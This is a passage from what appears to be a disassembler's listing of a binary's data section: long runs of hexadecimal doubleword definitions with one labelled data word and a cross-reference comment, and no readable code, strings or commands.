		dd 0C8EA001Ah, 0D69088C9h, 8E00FCEFh, 0A7A2FD12h, 1CBEB342h
		dd 0C0A1F517h, 4338E0F0h, 82484BBBh, 285060A9h,	5C147Dh
		dd 0DBB28D26h, 7DC24AEh, 15960202h, 40A01960h, 7AAFE788h
		dd 2EB10137h, 55FD2A29h, 713034DDh, 5D002098h, 5F575C2Dh
		dd 0B01B75DBh, 645505BAh, 80D3C7A8h, 2A523F78h,	6F1AF407h
		dd 60602657h, 775F6h, 8A95D651h, 1F30EFE4h, 63B73Ah, 0C53D5727h
		dd 0F7989C6Ch, 0BC3FC0h, 5B3EB335h, 70FECFDFh, 2E9A3Dh
		dd 0DC411110h, 4DA0AD4Eh, 5E0040C0h, 5C608D32h,	5A495163h
		dd 0E53100A0h, 1E2A2201h, 2C30F650h, 0BCA08A6Eh, 0C8A44400h
		dd 8ECD9D17h, 5900DC9Ah, 343AB2ACh, 33BC9E9h, 0A5475A72h
		dd 1DE8A848h, 8D00BA31h, 2ABBD468h, 0C089EAh, 0D6EE9B75h
		dd 72097BDCh, 2CFE7CB0h, 0BDB3340h, 0BC63C1Ch, 3B001014h
		dd 7E8EFAC7h, 26846548h, 0C0723Ch, 0C2B45FC8h, 0FC03FE61h
		dd 774DA8A2h, 0CD3E0078h, 46AFCAEBh, 4200A36Fh,	0C990FABEh
		dd 48B113C1h, 1900D0ADh, 0BA22C736h, 69E01B01h,	54086700h
		dd 50E4C8E5h, 0A0E6ECh,	0BAAF1A59h, 0D0E8148Ch,	586F282Ch
		dd 94B31040h, 0C8E0021Ch, 3AC2BFF2h, 8C10B4CDh,	0F30C0393h
		dd 40FF38D7h, 59E6DA49h, 0EBB8A654h, 0A0E0D3Fh,	0D04A5336h
		dd 0DD8F3982h, 0C72C686Eh, 0A0521EC0h, 7948C0C4h, 8DFAC91Ah
		dd 0EA78F116h, 69223048h, 8F018C96h, 0C940D128h, 7980AB0Bh
		dd 6E32081Bh, 85E28431h, 7AA4DF18h, 141E5D70h, 0A030DA71h
		dd 0B8D8C303h, 8AE6B04Ah, 7B149C00h, 3BD1D9FEh,	899669D5h
		dd 0A0575898h, 12BD5B0Eh, 6DD8E6Ah, 9A138E8h, 0F267CCC4h
		dd 993EA080h, 0F11CA84Dh, 97D487DFh, 5A8B8050h,	0F0E8908Dh
		dd 364D1D1Bh, 299E804Eh, 0CF3212D7h, 0AE5B0D00h, 6180D5E0h
		dd 0C671240Fh, 696280C8h, 4119DDE7h, 0D5844F50h, 0F0369D16h
		dd 0F107B470h, 0DC0100DBh, 0AA5453D2h, 0ACB35E12h, 78C2EB90h
		dd 4CE802B6h, 5426FC98h, 0CF0249D0h, 40484F0Eh,	28E88h
		dd 282012C7h, 0B221DBFDh, 0C10E1A00h, 1CAEF305h, 0BE500119h
		dd 68AAD25h, 5112D47Bh,	8E546B00h, 0D37CEE44h, 3C9862h
		dd 3BD2655Eh, 0C08FBA9Ah, 7226FA00h, 0BBD1F43Eh, 334A1237h
		dd 53344B6Bh, 683AA018h, 0DCF48900h, 0E37E093h,	2CF0B24Ah
		dd 40B81161h, 0D3CB3D1Eh, 569DE16h, 0E5D29000h,	0E52CE44Eh
		dd 587BBBD0h, 0C0008CD0h, 89C8C1FEh, 0B200E044h, 0BDB5589Fh
		dd 28565D7Ah, 0EC6A37h,	0D78CD679h, 6191FACAh, 205848h
		dd 0FD81BACh, 0B9DF8C2h, 1644A00Eh, 69041F00h, 82037AC7h
		dd 0B0B1A297h, 7B8EB8E7h, 61A50F42h, 7D60C51Bh,	72BF7E2Bh
		dd 6E9F8A0Fh, 1953805Ch, 0CA5A15h, 61FB85F9h, 0F19AB096h
		dd 0A5A82300h, 0CFE2D5B5h, 181604ACh, 84687428h, 0A4889054h
		dd 0F400AE23h, 0CFE66ADh, 5002157Eh, 0E228A481h, 3011CACh
		dd 0EBEA0EF1h, 8AC8E4A0h, 0A979355Dh, 970F4700h, 8D59DFB4h
		dd 0B052B08Eh, 0C52E00E8h, 0FC044EA2h, 0F03F32ECh, 28C4B895h
		dd 9200ECD9h, 0C1315DC0h, 0E2056BC6h, 387E03h, 0AF14E153h
		dd 4BA21A3Ah, 0B3B16500h, 8F6367F9h, 0E6600002h, 0D3049C14h
		dd 712EF15h, 600928A4h,	0B1138066h, 0D82ED5h, 0BBB3B756h
		dd 8405A40Bh, 5474F1B0h, 2BF83954h, 64EC5800h, 45D08B92h
		dd 0DFF900A0h, 2DE2247Eh, 0A70034FBh, 0D2C132C7h, 0CDF399h
		dd 0DBDEAD7Bh, 68FA8633h, 0F0C99100h, 0D3738DFDh, 7944009Dh
		dd 19891AD7h, 4C007FB0h, 1B5ED28Eh, 13D3DCB6h, 4173AEh
		dd 9798285h, 0C600D1DAh, 855B4010h, 1629EFA7h, 11F9368h
		dd 0C74906C4h, 135C62A0h, 804032A1h, 56DB0FFDh,	0E73050DEh
		dd 0F5BB126Dh, 0D7C440C2h, 0B89EA9B9h, 26F8E500h, 0A5E1DA8h
		dd 6C6B0075h, 2F1BF197h, 6800EBDBh, 5070127Eh, 48722480h
		dd 0A5009A0Dh, 313FE80Fh, 5B047A13h, 0D7F8025Dh, 8EC958D0h
		dd 754400DAh, 90D1E87Fh, 68095430h, 61379D1Fh, 0D8008F54h
		dd 2E4D94BAh, 18EA82E4h, 0A688E020h, 0E8796052h, 39370C48h
		dd 0E702290Bh, 5018816Bh, 9862D74Ah, 3B22F1Dh, 0DC589031h
		dd 5EBCCBF8h, 2E8EA700h, 0D5C6D078h, 1E53000Bh,	75A38B38h
		dd 8C2A3FB9h, 0F35898E0h, 91ED0973h, 8AF94h, 29F41DB3h
		dd 10365861h, 79CB26E0h, 0FEC28C08h, 2894015Eh,	6740F251h
		dd 0F3E226Ch, 0FD6BF11Ch, 0DF923D80h, 0AA1488A7h, 48C35132h
		dd 9EA06711h, 0CB78D6E0h, 7429284Dh, 9749B9Bh, 0EC0746EAh
		dd 80BE8011h, 25E63D14h, 366E550Bh, 8DF400B1h, 784840EEh
		dd 0C0310977h, 0F8A460C5h, 806D40FEh, 9B77F6Bh,	0DFB9E393h
		dd 786E84C2h, 0D453AC2Eh, 5F286800h, 58CF6A52h,	3780A4F8h
		dd 0AAE89F63h, 109EA100h, 4B7DD667h, 3843060Bh,	0F81E9695h
		dd 84E842Eh, 85764C07h,	885CA7CBh, 0CBA14D83h, 55CFD0E1h
		dd 23981668h, 1E404EF7h, 0E5364240h, 172BDDECh,	0ED8E84BAh
		dd 0E9E0BBF9h
		dd 76026EC7h, 5D24A0E4h, 0DCBA4821h, 2FB09838h,	0E8030080h
		dd 0BB755E36h, 86F46B12h, 0DC16D80Ch, 2CF0F88Dh, 36C2498h
		dd 0E776B277h, 268E4FF0h, 0A4FD0B3Eh, 0C00FD233h, 4501B2AFh
		dd 0A67DA919h, 0E0436080h, 0FC0B1206h, 0EFE98C00h, 7BAB19AAh
		dd 0EC421FBBh, 0DCCECBA3h, 0DB073354h, 6FC37641h, 4BD90A38h
		dd 39456FFh, 0C773A7F7h, 288001D1h, 8CF626E8h, 0E11CE82Eh
		dd 5463D640h, 0EAB7CA5Bh, 0B99E0275h, 6F6C5E4Fh, 0D4E4E448h
		dd 0B00D1F3Ah, 0B03F1093h, 3DFE01BCh, 40C7806h,	1894503Bh
		dd 0FB73F527h, 5E073400h, 0EB109DD0h, 0BFC0006Fh, 7736A6FAh
		dd 0AE3111DFh, 55E388EFh, 9C767430h, 0BF8CC344h, 8C859599h
		dd 0E9A53C58h, 88D300A9h, 791174C0h, 4477D6CEh,	0F9DC8C09h
		dd 629A800Bh, 0D5B73Ch,	2E925C69h, 6446AFE9h, 0D320D805h
		dd 18CCD604h, 223D0069h, 0FCE8B66Fh, 0CA00A33Ah, 7198B0CFh
		dd 7C78FFAh, 64683438h,	5830838Ah, 37BFC094h, 0DF28AC06h
		dd 0B2C8944h, 8F009CBDh, 0E601023Bh, 0E79F46Ch,	0C12869FAh
		dd 0C6D5AA0h, 12002111h, 9FF3DEAh, 3FE2AF7Ah, 400E0DBh
		dd 0DA9C5585h, 0B11D2F24h, 30008719h, 3C2522Ch,	0B85F66Fh
		dd 7C60E7E5h, 0D13F1820h, 120011B8h, 103AAD9Ah,	0E7B74E9h
		dd 3E778387h, 0CA18BCE1h, 4161DD8Dh, 0FC1192D0h, 1A12745Ah
		dd 52B1E7A4h, 514D3CECh, 4AF4ED2Fh, 2DE500D4h, 0DFF86F0Dh
		dd 0D93924B8h, 0B7E009C0h, 6385809Fh, 14DB8283h, 0ECF52C35h
		dd 41E2F100h, 0A9289DE8h, 0B489840Eh, 0D2A4512h, 27901890h
		dd 0C4747Dh, 39CA3FA7h,	0CBF19C53h, 0B9597C30h,	4354DB0h
		dd 0A496382Fh, 0C3FC908Ch, 0B2045303h, 54C693BCh, 0A11A5701h
		dd 0F10038CCh, 0A3003B05h, 362D582Fh, 322B2028h, 8DF43Fh
		dd 5E85719Bh, 729268D1h, 74C89800h, 0A386BEA7h,	9ECC0150h
		dd 0DF218D7Fh, 9A93FFEFh, 5CCFE58h, 0A3B4A4F4h,	0E7CD80C0h
		dd 0AD941911h, 2D35B170h, 885AC080h, 59F409h, 6AA40A6Dh
		dd 0E9089FE5h, 13672B01h, 0CD2A48D9h, 38BFECh, 8CA36249h
		dd 0A2DB46CCh, 1142B8C0h, 6F0B0830h, 974010A9h,	0F77DEC48h
		dd 0C3816E00h, 3EB33F54h, 99610063h, 0C496D680h, 0DB003116h
		dd 377388A0h, 130E5562h, 561904F5h, 1FC90h, 891E28E9h
		dd 7948A6h, 0FE5E308Dh,	5A84A47Eh, 1EEC3758h, 2EF0D89Bh
		dd 1BACA9h, 4E0519FDh, 2C936A01h, 0E06E100h, 8D6E5E16h
		dd 4B056h, 1AA59D03h, 8106BD6h,	5BCDBA00h, 8DC61631h, 0E21F6BCh
		dd 3D47AE9Bh, 0ACC31E40h, 0FA011A17h, 198B0299h, 0C3E6846Dh
		dd 7A7D9052h, 629A00A7h, 0B53D8693h, 5C0766A8h,	64CD795h
		dd 1C1003D0h, 0EEF402F0h, 0D3D1D901h, 0AEB531E0h, 910D3D00h
		dd 8BC9FEC4h, 77907Bh, 1516E20Fh, 0B20AC75Ch, 36490DB0h
		dd 0E0067A58h, 168AA518h, 1A3A00A4h, 484A3EF7h,	45003F4Fh
		dd 3D855E92h, 0C0E5F584h, 0A65D20F0h, 800D9B1h,	0CE86AB6h
		dd 13F3467Dh, 8F719Dh, 0DD18053Ch, 544A7476h, 0BCADDAC0h
		dd 0B6E3092Dh, 0D4016302h, 0E0933D6Eh, 403F463Fh, 5B00FCA3h
		dd 0FC7A07EEh, 9FE7CCh,	1F22F26h, 0B3D412E9h, 0B5698407h
		dd 60DEA594h, 6FF44473h, 1037F457h, 4D358C2h, 0E0A777BDh
		dd 587A40A4h, 680F10A8h, 74C1EE96h, 31492382h, 46BE80DCh
		dd 89426213h, 2EED01FDh, 8470A84Ah, 27E240A4h, 24098A56h
		dd 2D71F0h, 4D96F970h, 0D48D01A0h, 0E24BC075h, 1934F8E1h
		dd 2900FAEEh, 0F22E3278h, 6BCE658h, 87104C95h, 0A20EF867h
		dd 0C04918C1h, 0A116B58Ah, 80E000E7h, 627FFD8Ch, 0C4F4236Ch
		dd 66000690h, 72F47C0h,	0E41028B4h, 0F0080071h,	0D3F41EC7h
		db 12h,	0CAh
word_505446	dw 4518h		; DATA XREF: ___:off_4374B8o
		dd 41F8D4DCh, 0C8F100F2h, 8AEE26FBh, 13747DFDh,	0D5C9AA00h
		dd 21520331h, 0DEFA38h,	7F7EDC73h, 639FC555h, 28585A58h
		dd 4800AEECh, 0FA599571h, 0EA313AF7h, 32E80004h, 4C20F85Dh
		dd 0AA07C99Eh, 0B55BE18Ch, 67D77ED1h, 1CB90C30h, 0A6BFD837h
		dd 75A400E5h, 0A0879FE2h, 67800C00h, 456E963Fh,	2A60153Dh
		dd 7B00F85Dh, 0BBE8CDFDh, 0C8392D1Ch, 0A61801BDh, 31DF8D40h
		dd 0FEF4D440h, 0BC360010h, 0F3CF77A9h, 0EA26DCA4h, 408040C9h
		dd 7D16CB75h, 8A393E44h, 0A15801CAh, 20F32CD2h,	0F101124Ch
		dd 3D6AAD42h, 8CCC5DD0h, 9C430153h, 39675F97h, 51BA60B2h
		dd 441861Fh, 3007E080h,	124CF922h, 57EF3C5h, 0C0ECCC98h
		dd 453466Ah, 0CA644100h, 0A9545855h, 78946043h,	8B25ECC8h
		dd 383AC57Bh, 65E58048h, 8F30BC59h, 0CD9B00E7h,	29D62013h
		dd 440F4DA2h, 209D3486h, 5A380A06h, 0EA7750h, 0ACD1BBF1h
		dd 0D32E901Dh, 4FDE7109h, 77FC8068h, 0E960AA6h,	6B6053BDh
		dd 20DC0093h, 0CB002D8h, 0A5C8BA0Ch, 0F2E1934h,	4ECEAB9Fh
		dd 37E5732Fh, 4068D225h, 0D0023CE4h, 0A827C996h, 0A70CE0EBh
		dd 0D3780042h, 19C4059Dh, 4D3D3067h, 8018BFA5h,	91E97E2Eh
		dd 0C083E88Eh, 7D2F8629h, 0D0EDA6Bh, 0A092FA88h, 0F6040BB0h
		dd 309F3E48h, 14F03B00h, 26999412h, 515828B2h, 77CBC1ACh
		dd 0FA409A04h, 1CC85F15h, 0C04D44D8h, 0EB0B2D1Bh, 5605C167h
		dd 0AA13312Eh, 0FEF7B800h, 38D751E1h, 5D4CFC1Eh, 0C573F207h
		dd 0E3FB60F6h, 874A711Bh, 506041B0h, 2BC3858h, 0FA3DBF52h
		dd 0AC80545Bh, 0C45D07BAh, 4ADBB600h, 3FB533CFh, 0C9F6001Eh
		dd 0BDF2C64Dh, 0E00B4D1h, 98F921ADh, 0B26CB0h, 0F11B5E3Bh
		dd 61A779A5h, 56F671F2h, 6E374900h, 0DF5B46A9h,	8AA40417h
		dd 0C018F42Ch, 0EA778790h, 65D76C14h, 0B1F200C8h, 0BAD43928h
		dd 0FA4577C5h, 9C7101B0h, 7C50CFEDh, 0F4B4DD13h, 8F13368Dh
		dd 81003F58h, 80F82038h, 17E018h, 22E3C46Fh, 0D9CC95BAh
		dd 51011098h, 0FBC9A202h, 9C4BED1h, 4C030061h, 0B43066CFh
		dd 1C1246ADh, 0B888AF90h, 859E0058h, 11FBE4E1h,	67014947h
		dd 0B8C15A53h, 1EC4A45Eh, 41AB007Fh, 281CAE90h,	1B00FD87h
		dd 9D0A386Fh, 0B8B996F0h, 0D0700AAh, 93AC4E39h,	0C016F10Bh
		dd 0F400738Dh, 18E1E757h, 432204A9h, 0F016604Ah, 5CEA482Ch
		dd 0C38A9B07h, 0A62D27Eh, 5F95605Dh, 0F8CD90C7h, 40503CEFh
		dd 0AE7C9B00h, 0BF62A8D7h, 7500D890h, 5958547Eh, 1945ED9h
		dd 28C6DE25h, 70968B6Bh, 49270604h, 0F9C083BFh,	4CB990DDh
		dd 0B09100E7h, 169E285Fh, 9D00460Bh, 0AC3EB12Eh, 7C614Fh
		dd 5A598579h, 53AB5DD6h, 3CE49350h, 0B2BAB608h,	0CDDE0066h
		dd 0D6B044C4h, 9D72B100h, 787CCBF3h, 5E6C00C9h,	0C08D2F58h
		dd 52007121h, 0F31F03C4h, 2804E557h, 0E01514h, 0C7E023B4h
		dd 0E871C60Eh, 262DE4A8h, 8190F658h, 87B5A7B7h,	304C402Ah
		dd 0BC7C0B74h, 7A44F009h, 5E98603Dh, 85331C06h,	56D0D7F1h
		dd 0D8130000h, 0E7F9F032h, 7CD06C94h, 0D0781FC0h, 898479E1h
		dd 0C0DA281Bh, 1D2D8814h, 3DE64F00h, 0F3EF172h,	0F3898BCh
		dd 2714C857h, 5C086AA8h, 1043B943h, 0AB3BB5D6h,	80E60704h
		dd 0BDC00099h, 3F1FFEEEh, 3DFD5C08h, 61005741h,	64CE2AE0h
		dd 51C03229h, 0A863363Ah, 4FD5009Bh, 2E1DDF42h,	7C1EE160h
		dd 0C240013Ch, 0A2FCE76Bh, 81F201E8h, 99DC728Dh, 3F002048h
		dd 77048C73h, 0C1D48A63h, 69FB74C0h, 7EEC98h, 581B41C2h
		dd 75D6A384h, 0EC54B200h, 915F2F2Ch, 971150A9h,	31C2066Dh
		dd 504EB8F0h, 0A14DE027h, 71430C98h, 7080C3E1h,	38FAF840h
		dd 94A096F1h, 0EE00D625h, 74CA08A0h, 884B6A0Ch,	1C54757Bh
		dd 38E803ECh, 20C40709h, 9C40224h, 5FFF6025h, 8540003Bh
		dd 0C68AF53h, 0C70931F1h, 107A2389h, 7E9D0E4h, 0A0A826C5h
		dd 0FB850D5h, 0C700D8A4h, 0CD19EA12h, 7158739h,	7D6A8230h
		dd 95B12377h, 6086BE90h, 3E0040A4h, 7B1B7529h, 0C1248973h
		dd 490BE7A1h, 3B7B3012h, 0ECE8D400h, 0AE135E8Dh, 699F0056h
		dd 0CCEFB9F4h, 0FE008BC1h, 1AA7EDD6h, 2414DDE0h, 1340CAFh
		dd 955B54E2h, 37118063h, 3CD333DAh, 707B04D9h, 80535286h
		dd 808E0118h, 43026000h, 0DB6E2EC3h, 0E8881215h, 834404BCh
		dd 9AE0F07Fh, 9CD0C926h, 5F40121Eh, 0CA972F59h,	1ECC9803h
		dd 876BE4A9h, 17352E0Ch, 0C0E80077h, 0C872E12Bh, 0A700BFECh
		dd 8BABD880h, 243DD1CAh, 4C4D624h, 0A43AAAF9h, 1A24A334h
		dd 14A498DDh, 1C1F0D28h, 2EC1FB0Ah, 0EB015EF1h,	0AAB0E0FAh
		dd 3F66004Dh, 20C6FEB7h, 69012662h, 54BF6850h, 87DC5C84h
		dd 364E00CFh, 7621E6B6h, 0BD16ED0Dh, 0F100E929h, 0CCF0B941h
		dd 573B07FDh, 5039B0DFh, 6F0F33B3h, 0C5F13703h,	0D0270B9Bh
		dd 5D2250h, 0D2BA90D8h,	3C4BA57Ah, 701C02EAh, 761680B8h
		dd 0AC1ABC83h, 0DD0028A8h, 14BBD467h, 0AE1D1FE8h, 3900BDD8h
		dd 0EDD942E3h, 1AFCF973h, 0D3B900F3h, 1695CFB6h, 59073F7Ch
		dd 36708D69h, 0C46A6750h, 9AF2008Bh, 0AC2B7D2h,	0D50EE662h
		dd 40157165h, 0C3050924h, 3880C783h, 348F0ADh, 24E5C768h
		dd 0FB061584h, 89A561D0h, 0D90901A9h, 4971E1E6h, 0D081E5CFh
		dd 5B6F8EBBh, 80890F20h, 14BFE9C8h, 73B01Eh, 0AA295205h
		dd 0F17D036h, 73A94D07h, 62D0F492h, 1D080703h, 0C0317E2Dh
		dd 0D86E789Fh, 0FE00CD18h, 26717761h, 7A9C98F7h, 0E6EB1FCEh
		dd 758E4181h, 0CC9F2FB4h, 0E3142D78h, 629E7CCCh, 80A86280h
		dd 0A2AD3358h, 0D8016364h, 7679FB12h, 260310A0h, 358E749h
		dd 81A83898h, 8C081820h, 16DC4864h, 0CF663Ah, 5D0DC1FEh
		dd 7863FADh, 0E5A92632h, 6CD4E018h, 0F0F33119h,	0BA24F962h
		dd 67000245h, 99666389h, 97ED077Bh, 0E0227357h,	0B3B44D06h
		dd 180085FAh, 0DF327EFAh, 1A44EA5h, 3A3EC8A6h, 308B9521h
		dd 3607E65Fh, 0FF27E790h, 0D76E9780h, 0E1CB1379h, 6D1201EEh
		dd 0D8D989A1h, 661EA0AFh, 0CDCFB495h, 0D6D8B814h, 0E254007Ah
		dd 13916977h, 3900A2D1h, 0A521D904h, 0E6D24Ah, 43BDAC33h
		dd 13CB5673h, 3BF40300h, 624C5D46h, 7E1728ABh, 0E9951898h
		dd 5C3A5915h, 7021492h,	262FE142h, 0D732609Eh, 9F600FF7h
		dd 51222D17h, 0B8A085AEh, 0B509AA66h, 1D18CE7Eh, 61197F84h
		dd 14400ABh, 0FD7C147Dh, 0BC001650h, 0C01D6AE4h, 0CD0474h
		dd 3F5931F9h, 3276A162h, 0D0001479h, 68EE27B2h,	702BA38h
		dd 3099FE01h, 80247773h, 2206E403h, 2101DAE8h, 10346AC9h
		dd 484089DFh, 18E1559Fh, 216DF204h, 9D026E62h, 7EA92093h
		dd 864056E8h, 397AE010h, 80E58481h, 0E7EBB919h,	6783CA68h
		dd 0F3D3219Dh, 0FCC84B6Dh, 5E00B9B0h, 71DBD52Fh, 676B9Fh
		dd 84158BEAh, 0A91FDE4Dh, 41F9AA00h, 0B3B154DBh, 0BAD400E6h
		dd 647A6798h, 290EE448h, 1E55B5C8h, 9BF1CB00h, 11584EEh
		dd 7C8CB6DBh, 0D4AB73E8h, 8F072EE4h, 45627758h,	0C4018051h
		dd 53CC98E7h, 2AF61BECh, 0B5C0484Eh, 8900A3EDh,	439759DAh
		dd 4F74F5h, 5764DD85h, 9F86D012h, 91F34C0Eh, 0FFF78EA8h
		dd 82A2FDD8h, 233600DBh, 0B27D2A97h, 0A80FF480h, 80BD10BFh
		dd 0DF444B3Bh, 129E0067h, 65067ED1h, 0F500DBF7h, 0C1E4AD90h
		dd 0DE94Ah, 0D69C03C3h,	13EF6928h, 0F80C4872h, 118CC0D5h
		dd 443130BEh, 0BD4A3EB1h
		dd 7F1D84A0h, 200DAFEh,	4F790EA7h, 1344274Bh, 1D894FFh
		dd 2E375BBBh, 2BDCDC0Ch, 3936FD00h, 0CEECED2Ch,	1151C148h
		dd 0DA3E4A09h, 51B49F60h, 32837100h, 7A70376h, 0E3C20045h
		dd 75122E46h, 16000BFCh, 5F19A6BFh, 6DEE1A9h, 0E596AE11h
		dd 4E0129E7h, 43E2AC6Ah, 0FAD4D00Bh, 7F850F51h,	2EA08AC8h
		dd 0D5D3BD33h, 9DAF421Ch, 9E16D1C0h, 468B37Bh, 4ECA0C99h
		dd 70EEC08Ah, 633AA26Bh, 8EA3083h, 0D3BFB46h, 1AF3A0E3h
		dd 0EE4DD130h, 0C6539CE0h, 7D7A2F1Eh, 0B36DF100h, 47BB71Ch
		dd 0F0AAFCB8h, 100BC62Ah, 0BCA64400h, 7A2E1394h, 7EBE004Eh
		dd 9E8749FCh, 0C2073542h, 61A34D3h, 0A2F22E70h,	3E593022h
		dd 0ED3CF3E0h, 3F7A6918h, 0E233F1h, 83E6ECDBh, 79B3D3D9h
		dd 14D41C00h, 0B7C58A20h, 0DDA53EA7h, 0D3F71D00h, 0D6CB725Fh
		dd 2E16B83Eh, 0A006A2D9h, 1023DAh, 8D0EB2A6h, 0F539AB1Eh
		dd 3F090403h, 0F828D1FDh, 0EBC91Bh, 0B1DACB82h,	0B3D6C118h
		dd 0D907847Ch, 0DFF774AFh, 0A6F62483h, 0A6E81D30h, 0E03A3EF1h
		dd 0C5CE8200h, 4DA37214h, 0F573AB05h, 64513E4Ch, 0CBEEB04h
		dd 1004BA21h, 0C8DF0061h, 0BE550887h, 3CF8F8FDh, 3F0B737Ah
		dd 0A07B2253h, 7164E18h, 3E406D2h, 9E97166h, 0EE217760h
		dd 4106C3h, 0D17A202Eh,	674090E8h, 0C9017C71h, 191C656Dh
		dd 47E93AA8h, 84DEBC70h, 9942C130h, 0D01CA6h, 5507DBB8h
		dd 1070EAC4h, 7C63D801h, 0F9F1123Fh, 0F619FC64h, 0B8886008h
		dd 0FAAAFDC0h, 8C763B44h, 0D3072102h, 19681BE4h, 3B49800Ah
		dd 0E570712h, 306C0335h, 6D455C38h, 14439000h, 0B0C3BB60h
		dd 15B035Eh, 6C80419h, 0B7A7D7B8h, 946AC90Eh, 5B39631Eh
		dd 82393E47h, 0BD0CB603h, 64D819D6h, 6EFE1ABEh,	23002494h
		dd 5FBB6F0h, 0EF0400C4h, 133BD91Eh, 84A8BA9Dh, 9100A62Fh
		dd 989B5A27h, 3CF3D079h, 8800188Bh, 53ED3564h, 697C755Bh
		dd 9850C72Ah, 526A6D3Fh, 0B6CD0244h, 31F6BD20h,	87218039h
		dd 7A93B6D5h, 0EC550EB7h, 4EC19E86h, 812DF9C8h,	80E17188h
		dd 0B44092F5h, 9F7C4DAh, 697331B3h, 11B82828h, 71F8078h
		dd 8CABE4CDh, 254244h, 0ADA20718h, 2178B5F0h, 6F5ECF00h
		dd 0DBD130Eh, 2D610029h, 0BEFDC973h, 19F21A31h,	0B47AC01Dh
		dd 2C1BB9B0h, 0DD1C3539h, 51300438h, 75580F50h,	8A234Ch
		dd 0E4A70735h, 49167BBh, 70802764h, 35D019BEh, 0D3F07E08h
		dd 408C6A30h, 0C624E8EFh, 4A7C07B5h, 0C12BEEA3h, 80030258h
		dd 85E916A8h, 7CB68Dh, 6AA483DDh, 681B833h, 86820D4h, 0C6746C8h
		dd 0E2A84217h, 0F7151400h, 7FFB6FDCh, 0E4B8A8FDh, 0E781181Ah
		dd 477C8163h, 32E52F3Ah, 456D2062h, 636FE43Ch, 19F78836h
		dd 325A00F9h, 2CDD0EFBh, 0BCA24E81h, 907C0840h,	18F8CF80h
		dd 0B037A098h, 0A50AA2EAh, 88FC112Dh, 82386640h, 0C9F802AEh
		dd 39E04768h, 8099F041h, 8240A021h, 38A57563h, 9600CBE4h
		dd 7ACD44C4h, 0F970067Eh, 6032F733h, 0E5881414h, 0F300EC26h
		dd 51656812h, 0E1C0375Ch, 0E7F4A227h, 0D5E0774h, 90AFAB21h
		dd 65D18982h, 7BA8A039h, 96917C03h, 0A1191D7Dh,	0E45048FAh
		dd 3E4E9024h, 3B0922EBh, 141F34E2h, 0F7854C11h,	0E1AD02EEh
		dd 0C4846719h, 0B6D8600Ch, 0EEBD2121h, 0B6C088C0h, 1E5B07D9h
		dd 204438B7h, 0ED12C5B4h, 7F897162h, 0A78447Ch,	5784C43Bh
		dd 70DC00D0h, 50F514DEh, 0A07B10CCh, 0D8E11F91h, 4E6E4h
		dd 133FFA53h, 0E28087FCh, 94BF3FD6h, 0F1838A0Fh, 56B2C3A0h
		dd 4C0C537Bh, 29889D0Bh, 79811D8Dh, 7C803DC0h, 0A6BE9244h
		dd 0BF02EB17h, 7AD01314h, 9064CEh, 0B37C0C2h, 0E91A7EBDh
		dd 2AFBE33Fh, 5301B842h, 7C032AAEh, 0E0209DB0h,	0F9309888h
		dd 75022180h, 9565F12Bh, 41817167h, 992C67h, 0F523CA08h
		dd 853F2BC7h, 70C01D0h,	3313E4D4h, 11F08030h, 0FC3007h
		dd 5CAB4932h, 7AA25806h, 39A8B552h, 0F121929Bh,	0D07FB805h
		dd 34C2DC20h, 0C71309FFh, 74A9F805h, 6DC85082h,	27FD4120h
		dd 0CFA0C366h, 1900BC9Ch, 3544FE19h, 0F0E0CC5h,	2384603h
		dd 0F91E873Fh, 0C14E947Eh, 964BC271h, 0C04041A9h, 5582AD2Eh
		dd 4D960050h, 0EAA7BDC0h, 247B32C7h, 0D9E3F09h,	16BC0494h
		dd 0C3820F60h, 63A1F810h, 0AF8097C8h, 0EB7F8237h, 0DCF60F18h
		dd 12226846h, 90682CC7h, 873DCA51h, 901C049Eh, 9880776Eh
		dd 0C006413Dh, 15D5A499h, 6D709F16h, 75C33E12h,	495C2C05h
		dd 0F4398841h, 96D4AA91h, 0A5130019h, 344E35D4h, 14610DCDh
		dd 0F8C48311h, 0A112D7C4h, 0D35C9Ch, 24DD0841h,	0F6D69644h
		dd 8FE0425Fh, 0FCB100E0h, 0CA98D00Ch, 1804F03Fh, 1E442F79h
		dd 4CC4B48Bh, 3E95306Dh, 39DF0205h, 6544CD3Ch, 29A74048h
		dd 1B007076h, 1523EE3Eh, 9FC210Ch, 76C0104Fh, 7F652C01h
		dd 91C227Dh, 203CE5E3h,	49FEF3C4h, 53C4ECA7h, 3107CCFBh
		dd 44F8B582h, 27943267h, 5C8280A9h, 0FB374509h,	65089E1h
		dd 3F37D3E5h, 3EB0719Eh, 48A4C671h, 59A60F60h, 0E5CCED5Eh
		dd 8CD4B420h, 42AB102h,	169E187Ch, 2B78150Bh, 0FC6C983Eh
		dd 60ED1D85h, 0AF44873Bh, 8A1BB31Eh, 539AB3F8h,	0E8F8EA05h
		dd 7480C4D9h, 0A4CDE3DDh, 2AB01F38h, 8820510Dh,	7708805Ah
		dd 9856B82Bh, 5C049D78h, 344F860h, 75A52C90h, 3C06747Dh
		dd 0B8F3574h, 0D381C210h, 0E01ACCB8h, 0E51278C4h, 18001480h
		dd 0FA50C529h, 0CAA617A3h, 4C43E8EEh, 2CD60250h, 0E13C07C1h
		dd 0F2CDCB18h, 8C541830h, 0BA070B3Fh, 2C4AE4h, 6C40029h
		dd 7088FB52h, 18492DA4h, 820D80B4h, 8CD1F8B9h, 6BD8144h
		dd 21B48235h, 600F7179h, 4086F72Ch, 5503B8A7h, 3DE60092h
		dd 0D21B6456h, 0BC09D9DBh, 85EB7105h, 3483E940h, 96510691h
		dd 819D867Fh, 3E497C74h, 0B6D28078h, 43BEBD17h,	1E4B221Ah
		dd 0CEB6FD22h, 72A2BF93h, 8490F314h, 15287F61h,	53019C8Fh
		dd 487C0CCAh, 4345691h,	462C9006h, 2AC202BFh, 31507C0Fh
		dd 8AC61058h, 25A0042Bh, 0C23FFB93h, 70645910h,	7DB35A03h
		dd 0A05C77A8h, 7082307Bh, 5F13E8Fh, 84E7C682h, 1C6E87E8h
		dd 7230FD4Ch, 95BB488h,	31A120A9h, 0C02F8C01h, 58288C75h
		dd 3D26965h, 68D0A460h,	480A8C0Ch, 0C83C12C3h, 1B5C0E41h
		dd 3DBB518Eh, 4BC701A0h, 0BF022999h, 1384C97Bh,	4D8C64E0h
		dd 0F0943C56h, 0C0FC1210h, 0F8AF8203h, 88448C01h, 820B00ABh
		dd 0B92BCB36h, 227CBD7Bh, 0D0D338h, 7C63DEFBh, 99B81Ch
		dd 0C3192930h, 9E174255h, 22341A58h, 0A0A64C44h, 6D15BD09h
		dd 0A0D18848h, 0D47F3626h, 81714C21h, 0C0D1F919h, 0AC90696Fh
